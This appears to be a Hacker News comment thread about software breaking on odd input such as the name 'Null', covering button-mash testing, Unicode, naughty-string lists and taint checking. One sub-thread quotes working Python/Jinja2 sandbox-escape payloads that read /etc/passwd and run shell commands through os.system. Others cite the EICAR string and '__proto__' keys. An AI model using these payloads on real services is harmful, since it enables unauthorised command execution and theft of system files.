Null
popey.com
popey.com
Back when I was a gamedev at EA, one of the things QA would do is button-mash test the games. Just smash as many buttons as they could at the same time at all sorts of random points in the game. This was a constant source of bugs. It was surprisingly easy to get the game into a state where it was totally hung because of this.
One of the main culprits was transitions between screens in the UI. So much of the UI code assumed that the initial state of a screen is that no buttons are currently pressed. But if you mash a bunch down in the middle of a transition, the screen can end up receiving a button up event that did not precede any button down event. If the screen's code assumed every up has a preceding down, it could get into a broken state.
I never did see any clean systematic solution to this problem. I still think about it a lot when I do UI programming. In the back of my head, I'm always wondering, "what will happen if the user presses X in the middle of this animation?"
Programmers are particularly prone to these bugs because we have unconsciously trained ourselves to baby our own software. We're careful to wait for transitions to complete and only send input when the app is in a known state.
Those animations were for a time and place where phone processors were genuinely slow. That time and place is nearly a decade ago, and most of the world is stuck with lower productivity due to this vestigial cruft.
Think of all of those teens that can type a billion letters a minute without batting an eye, and yet have to unwittingly endure all of these silly transitions...
But of course, it breaks a whole bunch of poorly tested apps, even mainstream ones like Uber and Lyft.
A robust solution should probably use state machines coupled with generative testing, so that all of those unexpected combinations can be generated and handled before the testers try button-mashing, without relying on developers to think of and write all the individual test cases.
Also, it's very frustrating for users when input gets dropped on the floor at times where they don't expect. Determining when to queue that input and when to forget it is a real art. Humans have subtle, complex expectations there and there's no simple solution.
This problem contains lots of incidental complexity and it doesn’t help that folks do the opposite of the above and add a ton of accidental complexity on top. For example, for a situation with a crossfade or morphing set of 2 buttons you should:
- leverage the assumption that there are only 2, and static, buttons. - not assume that there are only 1 button present at any time.
Some end up inclined to create some “reusable” abstraction on top and end up doing the opposite: - generalize to handling n dynamic buttons. Without realizing that some important properties of that specific situation would have been lost. - (usually due to the lack of experience/focus/interest on the problem) oversimplify and assume there’s only 1 button present at any time.
A person after my own heart.
I've had many a dev go "why would you do that"
In which I answer "it doesn't matter, but if you accept my input it's your job to ensure the app doesn't crash"
I write a lot of javascript and the string "null" is pretty harmless in most code. But there's all sorts of fun bugs (and often security vulnerabilities) you can find if you make an identifier "__proto__". (If code ever uses that as the key in an object, you're off to the races!)
It's very crude and not at all foolproof. For the lack of sophistication it's shockingly effective at highlighting a huge amount of assumptions we make about how software is / can be used.
Fuzzing is a pretty popular testing technique for libraries, but GUI software has not seen the same attention.
Example of tools: https://www.fuzzingbook.org/html/GUIFuzzer.html
Something similar should be reasonably easy to build these days using AutoHotKey or the like. I bet it's been done.
If you tried ctrl+n (I think), you could advance to the next level, but only if you had beaten the current level or had the pass code for the level. In a bout of frustration, I rando-mashed the keyboard and advanced to the next level, and could then ctrl+n to the last level! I could reproduce the effect, but never worked out the actual combination that unlocked it. Good times :)
If I pour water in the gastank of my car, it will also fail to drive. Or gas in the sprinkler tank. So the car should somehow prevent the enduser putting the wrong thing in the tank?
Your proposed problem will probably only affect bad spellers, who have a break pedal.
Of course if you're trying to break it, everything is possible.
https://www.autonews.com/article/20130521/RETAIL05/130529968...
Reason: The gas nozzles dispensing unleaded gas were made smaller to prevent people from putting leaded gas into a vehicle that required unleaded gas (which would poison the catalytic converter). The diesel nozzles remained unchanged and leaded gas (with the big nozzles) went away.
Source: I had one of those “evil” Jetta’s
Because software by virtue of not requiring physical access is much easier for bad actors to mess with.
Abuse of such also seems to be classified very differently than abuse of physical systems by human brains e.g. almost no rando would think of putting sugar in your gas tank while walking near your car, but nobody blinks at fucking with your input fields.
I'm confused why the parent comment is being downvoted. It's a valid question. It might sound naïve to some but it's still worth discussing.
The analogy would be something like that:
- if I throw spaghetti on my windshield, my car shouldn't break down
- if I hold the wiper's stick to the position that runs it once (instead of putting it in the position to continually run) my car shouldn't break down
So, the security of my house (at least where I live) does not have to be so resilient but the security of much of my software does.
Then there's just annoying stuff like the case where someone paid to have "null" on their car's license plate, which suddenly caused him to get all traffic tickets that could not be correctly addressed.
Validate your inputs. Be very careful with in-band special values and escaping syntax. Don’t make any assumptions about what is “reasonable” input. If you have to make assumptions, document them and validate all input for conformance. Always check what requirements and preconditions the code you call has on the values you pass to it. Don’t just make assumptions about it.
First off, we expect all things to be as resilient and reliable as makes sense via a cost benefit analysis. If it's cheap to fix, and expensive not to fix, we expect it to be done. If it's expensive to fix and cheap to ignore, we expect it not to be done. And of course, if it's impossible to fix, we definetly expect it to be ignored. :)
So, we expect that cars should NOT catch fire when rear-ended, because it's possible to design them not to do so, it's not that expensive to design them not to do so, and innocent people could be seriously harmed through no fault of their own.
But water in a gas tank? I can't think of a way to stop someone doing that. And it would just disable the car if you did it. And since cars have locking fuel tank covers, you're really limited in your ability to maliciously harm other peoples cars.
So in the case of cars "explodes when rear ended" is not okay but "stops driving when you fill the tank with water" is okay.
Software, by its design, is often more fixable than other things. You can filter the inputs to a log in form whereas you can't really filter "things people might put in their kitchen blender".
Second, note that software is, bluntly, a lot less resilient than most things. I've got a hammer sitting in my garage, and it's just going to sit there until I do something with it. It won't randomly stop working, it won't auto-update to a version that is incompatible with my nails, it won't be remotely hijacked by Russian scammers to break into local businesses, it doesn't need patching. There will never be a CVE for this hammer. :) I've had it for many, many years, and I'll have it for many many more, and it will be just as good a hammer in 10 years as it was when I got it. We can't say the same thing for software. And since software is just way more of a dumpster fire than "normal" things, we have to expect that more work will need to be done to counteract that.
(There is, as always, at least one relevant XKCD here. In this case, I think https://xkcd.com/2030/ is on point. The more you know about software engineering, the more you'll realise the entire thing is held together with bailing wire, duct tape, luck, and an intern trying to live edit the production database to fix the data errors before anyone notices.)
Third, and very much related to the last two points, consider the scale. Your car's gas tank, or your building;s sprinkler tank, are vulnerable to various attacks, but it's not vulnerable to being attacked remotely and untraceably by almost anyone on earth via a number of low skill attacks. And of course, software also can yield larger rewards. If the local corner store has a dodgy lock, maybe you could break into it (at significant risk to yourself!) and steal some cash from the till. If you can compromise the head office network of a major retailer, you could steal millions of dollars.
Edit: Also, I'm aware of a nationwide outage for a pizza chain caused by a phonebook. There was an internal webpage that some stores looked at occasionally to show stock levels or something similar. It was quite a slow/expensive page to load, but because it was loaded quite rarely, and only by a small number of internal users, it didn't have a lot of cacheing or rate limiting on it. Someone in one store shifted something on their desk, then walked off. This caused a phonebook to shift, and depressed their F5 key. That caused their browser to start refreshing this page very, very rapidly - multiple times per second. The load from this actually overloaded the central servers, and the entire system went down, stopping orders from being placed or printing out. So it might seem silly to say "hey, what happens when I do this thing I shouldn't do", but actually, over time, all sorts of things that "shouldn't happen" will happen for some reason or other. If the result is that every store of a nation-wide chain goes offline, that is....not great. And software is just way more prone to these sorts of things than others. If you tell me there's a vulnerability that lets people easily open the door of any hotel room at a large chain, I'll instantly bet you $20 it involves smart locks, NOT traditional mechanical keyed locks. (And indeed, that's happened more than once, and it's always been a smart lock to my knowledge.)
Clicking a button that was enabled for me and does many things in the background is not so obvious.
Also, cars have been accessible to everyone way longer that PCs and smartphones. Most people alive today (in developed countries/areas) saw their dads driving when they were kids. A person in their 60s didn't have a PC when growing up
If there was a physical device that could filter gas and non-gas liquids that could be installed in a car we would expect car manufacturers to do that.
I have seen software that puts the onus on users to use it correctly "Hey user, don't enter more than 5 items in this list". Because the software can't be bothered. And if the user enters 6 items in the list and the software crashes and the user loses all their work, everybody can point at the user and tell them it's their fault for not following directions. But personally I'd be embarrassed if that was my software.
There is one thing they could do to stop people putting the wrong liquid in their car. That is to key the nozzle to only fit cars which support their fuel, so petrol pumps nozzles only correctly fit petrol cars, diesel pumps only fit diesel cars.
Completely agree with you on you main point, software should be made correct and resilient (more than other things) because it can be made so.
But I'm pretty sure the manual say you shouldn't do that. Like microwaves say you can't put living animals in it.
Then we hired Kevin.
Kevin had the handset for 40 minutes before piping up "crashed it". The lead comes over to have the sequence explained to her, and says "huh, nice edge case". Half an hour later "crashed it again" (in a completely different way). Explains the sequence to the lead again. An hour later this happens again and he explains the sequence and she finally bursts out "Why would you even do that?! How did you think of pressing those buttons like that with that timing?!!".
Good testers just think differently than software engineers.
I'm sure in some cases it's useful to detect all possible crashes, e.g. to make an app as secure as possible. In other cases I'd watch out for diminishing returns; perhaps instead of "think differently than software engineers" it would be enough to "think in the similar way as product users".
Software engineers tend to use products in a consistent way (based on how they know it's meant to be used) whereas good testers explore the space of possible inputs in a much more 'creative' way.
My point is that the extent of testing should depend on the actual product; eliminating all bugs is not the primary goal of every team.
Some companies might decide on other goals and prioritize e.g.: just paying users (giving them better support to resolve issues), or acquiring new users, or something else.
There aren't any bugs as long as I don't look for them!
In a similar vein, I've also used U+2212 as minus sign in my regional settings. There's a lot of software that refuses to parse numbers it previously happily emitted.
I've given up on that too, by now, though. The only thing I still do is using English as UI language (so I don't have to deal with bad translations of software), but German as my regional settings (with ISO 8601 dates). There's a lot of software out there (I think GNU gettext is broken in that way on Windows) that assumes that the way I want my dates and numbers formatted has any bearing on the language I want to see in an application. Many others don't care about the regional settings and use the UI language to also format dates, times, and numbers. That's annoying, but at least nothing breaks, so that's the only deviation from the standard user I still use, to still be able to work.
This is how try/catch alls get added :(
https://what.thedailywtf.com/topic/17637/undefined-liked-thi...
I have a generational suffix on my name. I often include it, and quite often as the proper Unicode character, e.g., "Ⅲ". (Assuming HN displays it after I post this, try to select it; that's one character.) That wreaks a fair bit of havoc.
When I was in high-school, I took physics. I was assigned to room, say, 309, to a teacher whose name I didn't recognize. But I knew the teacher in room 309, and she even taught physics. So, I approached her, and asked, "I've been assigned 'Ms. Stewart', but it lists her as being in your room. Do you know what the correct room number is, Ms. Cook?" Right room; it was her maiden name, of course.
In my company's HR system, we have to note some contacts, for things like life insurance payouts. My fiancée is one. Then we transitioned to a new system, and the data from the old system was migrated over. Now she's my "fiancée". (And in a separate system, she's a he, because there was no option for "fiancée", only "fiancé".) Similarly (and a long time ago) I had to fix a contact/directory system when it escaped a '. E.g., it would emit "Marie O\'Conner". PHP magic quotes… shudders
(Character encodings and anything outside of ASCII, in particular, are an unending fountain of bugs.)
Just today, Azure's support system can't handle (among many things) the outlandish characters of "<" or ">". Which is great fun, since it's not like anyone would file a highly-technical support request with Azure… right?
The missing hour in the DST spring-forward and the duplicate one on the fall-back are great hunting grounds for bugs, too. E.g., Google Calendar has issues with them.
We have a git branch prefix at work that triggers a special CI action. Let's call it "branchprefix/". Every now and then a dev will make a branch with "BranchPrefix/" and the OS X machines all start having issues since OS X's file hierarchy isn't case sensitive. (We've also had issues w/ two files, same name different case. git supports it, but OS X can't cope.)
(All the names in this post are changed from their originals, of course. But you get the idea.)
Java, perhaps? (That was our Android app, of course.)
Although we did have a desktop app (weirdly) and that was in C++.
Objective-C will do that with the format string "%@" if you pass it nil.
However, it is my understanding that passing a non-null pointer to printf for `%s` is undefined behavior.
That's because the MSVC compiler doesn't actually run on the godbolt servers (unlike all the other ones). The compilation is done on Microsoft servers. It's understandable that neither side is looking to have Windows sandboxes to execute arbitrary code in.
(Disclaimer: At least that's how it worked when Matt introduced the MSVC compilers. Not sure if things are substantially different by now.)
Someone in Azure is definitely using the Windows reserved characters for filenames.
"?" and "#" were not allowed in OneDrive for Business for a long time because they have a special meaning in URLs: https://techcommunity.microsoft.com/t5/microsoft-sharepoint-...
The Rclone documentation has a full list of problematic OneDrive characters: https://rclone.org/onedrive/#restricted-filename-characters
The only downside I have seen so far is that some software only runs on case-insensitive file systems. For example Photoshop did this last I checked.
FWIW macOS is perfectly fine with it. The FS (both HFS+ and APFS) can be configured to work in CI or CS modes. The default is CI. Since git uses the FS for part of its data storage, things break.
That’s more of an issue with Git not supporting CI FS, really.
My favorite way of breaking things is to go the other way... oh, you won't allow < or >? Well, how about ＜ and ＞? That's ok then? Great!
One I've done several times is encounter a field that "can't be left empty", and is smart enough to filter out the ASCII whitespace before the check... but isn't smart enough to filter out the Unicode zero-width space. "A computer wizard never says too much or too little, he says precisely what he means to."
I'm reasonably certain one of those two 'Ms.' instances should be 'Mrs.'.
But we all know what they say about assumptions...
https://github.com/minimaxir/big-list-of-naughty-strings/blo...
My personal favorite is this one though
"If you're reading this, you've been in a coma for almost 20 years now. We're trying a new technique. We don't know where this message will end up in your dream, but we hope it works. Please wake up, we miss you.",If you were going to play a simulation game, you would not be a normal participant. You would not play a normal person, you would play the successful guy at the top launching spaceships and making money.
So - the chances of Elon Musk being in a simulation are very high compared to normal people.
I enjoyed:
# Strings that may occur on IRC clients that make security products freak out
DCC SEND STARTKEYLOGGER 0 0 0
# Innocuous strings which may be blocked by profanity filters (https://en.wikipedia.org/wiki/Scunthorpe_problem)The text was flagged as malicious because of its presence in the repo github.com/wireghoul/htshells [3]. However, the whole point of the word in the htshells repo is that it's an invalid command that breaks Apache, so it could have been almost any random string.
[1] https://github.com/search?q=arglebargleglopglyf&type=issues
[2] https://mume.org/help/arglebargle
[3] https://github.com/wireghoul/htshells/blob/master/dos/apache...
"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
And the only subclasses of object I can find with a read classmethod are these:
109 <class 'codecs.StreamReaderWriter'>
110 <class 'codecs.StreamRecoder'>
for i, x in enumerate("".__class__.__mro__[1].__subclasses__()):
if "read" in dir(x):
print(str(i) + " " + str(x)) $ python2
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
'root:x:0:0:root:/root:/bin/bash\n ...
You can still reach TextIO though _IOBase, in python 3.9 it’s object’s 101st subclass, then 0, then 0.
In 3.8 it’s 99, 0, 0.
It's a shame subclass numbers do change from version to version, so there is no "one-size-catch-all" injection string.
Someone in this thread posted a solution with next() that iterates over subclasses to find the correct one. But an injection with spaces won't work as well when injected in jinja2 (something that original injection accomplishes in python2).
Yeah going through subclasses is not trivial, but that's the way exploits work really. And usually once you find a target the version is going to be reliable.
An other big injection sources in Python is when modules are available in the evaluation context, that's way more risky than exposing classes, functions, and objects due to Python's transitive import nature: anything you import becomes an attribute of your module, meaning if your module is visible so are its module. And very often there's a point at which `sys` is imported somewhere within transitive reach. Once `sys` is available they're out of the interpreter.
next(sub for c in "".__class__.__mro__ for sub in c.__subclasses__() if '__init__' in dir(sub) and '__globals__' in dir(sub.__init__) and 'system' in sub.__init__.__globals__).__init__.__globals__['system']('cat /etc/passwd')2. The Second Commandment Christians follow is “Thou shalt not take the name of the Lord thy God in vain” and I can tell you a lot of Christians follow that.
3. You have it backwards. It’s not Muslims’ fear of the name of God, it’s Yahoo’s fear of literally just the Arabic word for “God.”
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
Likewise, please do not send pull requests which compromise manual usability of the file. This includes the [EICAR test string](https://en.wikipedia.org/wiki/EICAR_test_file), which can cause the file to be flagged by antivirus scanners, and files which alter the encoding of `blns.txt`. Also, do not send a null character (U+0000) string, as it [changes the file format on GitHub to binary](http://stackoverflow.com/a/19723302) and renders it unreadable in pull requests. Finally, when adding or removing a string please update all files when you perform a pull request.
That one normally only worked reliably if you could figure out some way of introducing a short delay between the +++ and the ATH. There may have been some crap modems that didn't require the delay, but that wasn't the spec.
(the 0 was not necessary, btw, as 0 is the default for the ATH command)
* “untainting” is highly context-specific, that something was cleaned up for HTML does nothing for SQL
* which also means that the boundary is incorrect, just because you’re getting something out of storage does not mean it’s safe for anything (not even storing it back)
I have a friend who is a long time C++ developer. Every time we discuss C++ he tells me that memory errors can be easily avoided in C++ if you have a certain level of competency. Someone still developed Rust because of this issue and it is popular.
ie:
fn safe_read(path: str) -> Tainted<IO> { Tainted(unsafe_read(path)) }
And then you can apply functions to Tainted<IO> or whatever type that convert it into something structured / validated.
So long as your functions only take in those validated types (ie: you do not write functions that take str) you can ensure that new reads will fail to typcheck without first parsing.
To be honest this is how most programs I see work anyways, at least in typed languages. Few work directly on strings. But they do it naturally, without enforcement - so like, a function might take a 'str', but the 'str' passed in was parsed into a wrapping structure already.
For example, you can convert the input into a safe representation, suitable for the exact place you'll be using the string, instead of "validating" it.
What you need is a safe type for each use case, and ways to convert values to that (or mark them as that depending on your TS).
> Few work directly on strings. But they do it naturally, without enforcement - so like, a function might take a 'str', but the 'str' passed in was parsed into a wrapping structure already.
ie: Most programs in typed languages already do what you're saying - they parse the data directly into a structure, and therefor they validate some aspects of it naturally, so even when you do see a 'str' in typed code it's very often already gone through some sort of parsing phase.
You don't sanitize user input when parsing, you do it on usage. "Robert'; drop table users--" is a perfectly fine name and you shouldn't mangle it on you data fields.
For those who are unware what taint mode exactly is: when it's enabled, a string may have a hidden "tainted" flag. Passing a tainted string to many (but not all) built-in functions will result in an exception. Many built-ins return tainted strings, additionally all strings in @ARGV (cli parameters) and %ENV (env variables) are tainted. You can get an untainted string by accessing a tainted string through a regex capture group ($1, $2 etc.). Taint mode is global, so it affects everything, including third party modules.
You may ask "how do I even validate my environmental variables? What's the difference between valid and invalid PATH?". Well, you can't. That's why programs using taint mode are often littered with code like:
my($untainted) = $foo =~ /^(.*)$/
Well, that assumes that the said third party code works in taint mode. If it wasn't tested with it, it's possible that it won't work at all and there's nothing you can do about it.
You and Martin Wimpress are constant sources of inspiration for me and many others, who want to keep on discovering the world of FOSS software. Thanks for the many hours of entertainment in your podcasts and the help you provide to people on the forums and mailing lists. Excellent work!
DRI (since absorbed into McGraw Hill) had EPS, an advanced economic/financial analysis scripting language, provided via timesharing (mainframes on the East Coast of the USA). I was a customer support programmer in San Francisco the day that they rolled out a powerful arrays feature on the testing mainframe (no clients, but lots of real work going on).
One could put anything as an element inside an array. So I tried:
X=array(123, "abc")
Y=Array(X)
i=loop from 1 to 1000
x(i+1) = array (xi)
So far, so good, excusable as "clever programmer tests the limits". And then I ran it again.
Same result, plus, 2 minutes later, a call for me from my friend Kevin, who was a lead developer on EPS in DRI HQ: "Chris, what the ^&^&^!@@ are you doing?"
This data must have corrupted some firmware section or so because the drive was gone afterwards.
Couldn't format, couldn't dd, anything.
Fits the category, I think. Only less funny :( Well, depends on the observer :)
Numerous cases of encoding out of band data as a special case of in-band data.
So, that link (like so many), just plain doesn't work. It just loads a white screen.
There are many sites like this on the Internet. Twitter waffles between working and "Ooops! something went wrong!". I've sent patches to Rust's documentation to fix it to work with cookies disabled. (But it won't persist any settings you change, of course, which is what it uses the cookies for.)
That link has the double the fun: not only is the page completely white, it's logging errors to the JS console as fast as it can.
Seems dumb not to use local storage (possibly with a cookies fallback though I wouldn’t even bother).
You can also disable LS, but I don’t know that that’s possible on a per-site basis so it’s an unlikely configuration (and you can fallback same as if cookies were disabled, probably).
> but I don’t know that that’s possible on a per-site basis so it’s an unlikely configuration
Yeah, if you were using the "Block" settings in "Cookies and site data", for example, that would disable LS on a per-site basis. (I essentially block-by-default, and have an exception of allowed sites in that FF setting.)
(I also have an extension that I wrote to produce a fake, good-for-this-page-load-only localStorage, with two settings: hold the values in RAM, or just /dev/null them. Most sites do not handle localStorage denying access, and essentially crash, so it's handy there, as that works around the poor programming on those sites.)
That said, it did uncover a bug that obviously hadn't been tested for which gave the infra team more impetus to solve utf8mb4 support for the database.
https://www.drupal.org/project/infrastructure/issues/2531884 https://github.com/govCMS/govCMS7/commit/ab5da5fd0cb3d7e1d33...
I’m big on Quality. Comes from 27 years, working for a corporation that is pretty much synonymous with the word.
“Abuse testing” is very important, and almost impossible to automate. A good monkey tester will have a “sense” of where to go, as this chap indicates.
I worked with an enormous team of people like this, and they would regularly find things like sync bugs (he talks about one). Those take a lot of work (and RSI risk) to find.
What is a snap in this context?
The backend crashes and instead of getting an error message you are forced to watch a spinner forever?
I'm curious how such a declarative paradigm _may_ help with the wacky usage of software old mate Mr. Null endeavours in. No one paradigm solves all problems I feel but perhaps some allow us to harvest some low hanging fruit for free?
I’m a big fan of pattern matching (especially statically verified pattern matching so sorry elixir), but I don’t see how it would help here.
But yes, all strings are truthy. Except an empty string! And maybe some little-used nullish characters? Doubtful, but...
Or "0"
Set it to PHP 8 and click "Execute code," then set it to PHP 7 and Execute again. They give the same result, which is that "0" is falsy in both versions.
I don't. If I want to extend a system that's currently in English to also accept Arabic or Farsi / Persian, you better believe I'm sanitizing that input carefully. Otherwise I'm opening up my application to zero width non-joiners[0] and all sorts of random fingerprinting for my English speaking users. I know it's a pain, but I'd rather just do it right.
It's like the people who spent a lot of their time finding ever more pedantic inaccuracies and continuity errors in films.
The mute LED on your thinkpad sometimes goes out of sync? fascinating
But it just reminds me of this: https://youtu.be/2Z8pgV74_Hw?t=148
If this action can be performed using the hardware button it is likely that it can also be performed software-wise, it would be a nice addition for malicious software such as malware.
I feel like of all the examples in the blog post, this was the one with by far the biggest potential for actual harm to people.